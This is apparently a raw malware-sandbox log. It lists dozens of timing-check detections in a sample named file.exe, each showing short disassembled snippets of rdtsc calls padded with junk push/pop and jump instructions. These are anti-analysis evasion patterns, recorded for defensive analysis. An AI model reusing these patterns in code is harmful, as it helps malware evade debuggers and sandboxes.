Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240D3F second address: 1240D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F04D4C82A46h 0x0000000a jo 00007F04D4C82A46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240E82 second address: 1240E90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F04D4C79EAEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF528 second address: 11AF561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F04D4C82A46h 0x0000000a pop edx 0x0000000b pushad 0x0000000c jmp 00007F04D4C82A55h 0x00000011 jmp 00007F04D4C82A55h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF561 second address: 11AF566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF566 second address: 11AF56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF56C second address: 11AF5A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C79EB5h 0x00000009 popad 0x0000000a jg 00007F04D4C79EACh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF5A2 second address: 11AF5A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF5A6 second address: 11AF5B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F04D4C79EADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF5B9 second address: 11AF5C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF5C3 second address: 11AF5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1249B81 second address: 1249B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1249B85 second address: 1249B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1249CD4 second address: 1249CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1249CD8 second address: 1249D18 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F04D4C79EA6h 0x00000008 jmp 00007F04D4C79EB7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jng 00007F04D4C79EA6h 0x00000016 pushad 0x00000017 popad 0x00000018 jns 00007F04D4C79EA6h 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 je 00007F04D4C79EACh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124A3F9 second address: 124A407 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A4Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12508C9 second address: 12508D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250A5E second address: 1250A62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250A62 second address: 1250A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250A68 second address: 1250A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250A72 second address: 1250A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250A76 second address: 1250A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253468 second address: 12534A6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F04D4C79EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F04D4C79EB2h 0x00000010 jo 00007F04D4C79EA6h 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F04D4C79EB8h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF58E second address: 11AF5A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A356 second address: 125A35A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A35A second address: 125A360 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A360 second address: 125A38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jns 00007F04D4C79EB2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007F04D4C79EB0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A38E second address: 125A3AF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F04D4C82A53h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A3AF second address: 125A3B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A4E4 second address: 125A4F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F04D4C82A61h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A4F3 second address: 125A50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C79EB5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A50C second address: 125A522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F04D4C82A52h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A522 second address: 125A542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F04D4C79EB8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A542 second address: 125A546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A819 second address: 125A81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F21B second address: 125F225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F04D4C82A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F225 second address: 125F233 instructions: 0x00000000 rdtsc 0x00000002 je 00007F04D4C79EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F233 second address: 125F24E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F24E second address: 125F26E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F04D4C79EB3h 0x00000008 jc 00007F04D4C79EA6h 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F56B second address: 125F589 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F04D4C82A52h 0x00000008 jc 00007F04D4C82A46h 0x0000000e jo 00007F04D4C82A46h 0x00000014 jne 00007F04D4C82A4Eh 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F589 second address: 125F594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F594 second address: 125F5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F04D4C82A59h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F5B6 second address: 125F5BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FC27 second address: 125FC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12605A8 second address: 12605AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261F68 second address: 1261F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261F6C second address: 1261F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F04D4C79EB0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261F84 second address: 1261F9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F04D4C82A4Ch 0x00000009 jc 00007F04D4C82A46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126503A second address: 1265048 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F04D4C79EA8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265048 second address: 126504C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126481A second address: 1264835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C79EB7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264835 second address: 126485B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F04D4C82A50h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F04D4C82A4Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12649A9 second address: 12649AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264DAB second address: 1264DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A850 second address: 126A869 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F04D4C79EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F04D4C79EABh 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A869 second address: 126A87C instructions: 0x00000000 rdtsc 0x00000002 js 00007F04D4C82A46h 0x00000008 jo 00007F04D4C82A46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A87C second address: 126A882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A882 second address: 126A8A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C82A50h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A8A3 second address: 126A8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jnl 00007F04D4C79EA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A8B4 second address: 126A8C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F04D4C82A4Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126AA4D second address: 126AA51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B360 second address: 126B366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B366 second address: 126B386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jns 00007F04D4C79EA6h 0x0000000c popad 0x0000000d jmp 00007F04D4C79EB3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B386 second address: 126B3A6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F04D4C82A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F04D4C82A4Eh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B66B second address: 126B66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B66F second address: 126B68E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F04D4C82A55h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BC6D second address: 126BC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F04D4C79EB4h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C268 second address: 126C26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C26E second address: 126C272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126C272 second address: 126C276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12715AD second address: 12715B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12715B1 second address: 12715C1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F04D4C82A46h 0x00000008 ja 00007F04D4C82A46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270A2A second address: 1270A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270A30 second address: 1270A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270A34 second address: 1270A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270C04 second address: 1270C09 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D57 second address: 1270D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D5B second address: 1270D62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D62 second address: 1270D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271175 second address: 127117D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127117D second address: 127118A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F04D4C79EA6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127118A second address: 127119C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F04D4C82A4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127119C second address: 12711D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F04D4C79EB2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F04D4C79EB4h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jo 00007F04D4C79EACh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127130F second address: 127131A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280DE3 second address: 1280DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C79EB4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F0B3 second address: 127F0BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F212 second address: 127F217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F217 second address: 127F234 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F04D4C82A58h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F234 second address: 127F23C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F4F0 second address: 127F515 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A57h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F04D4C82A48h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F639 second address: 127F63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F63F second address: 127F643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F643 second address: 127F64E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F64E second address: 127F654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F654 second address: 127F67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jno 00007F04D4C79EA6h 0x0000000e jmp 00007F04D4C79EB5h 0x00000013 popad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F67B second address: 127F682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F682 second address: 127F6A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB9h 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F04D4C79EA6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F802 second address: 127F80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F80B second address: 127F837 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EAEh 0x00000007 pushad 0x00000008 jmp 00007F04D4C79EB9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F837 second address: 127F83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127FDBC second address: 127FDD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EBB7 second address: 127EBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EBBB second address: 127EBE0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F04D4C79EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F04D4C79EB5h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EBE0 second address: 127EBE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127EBE6 second address: 127EBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
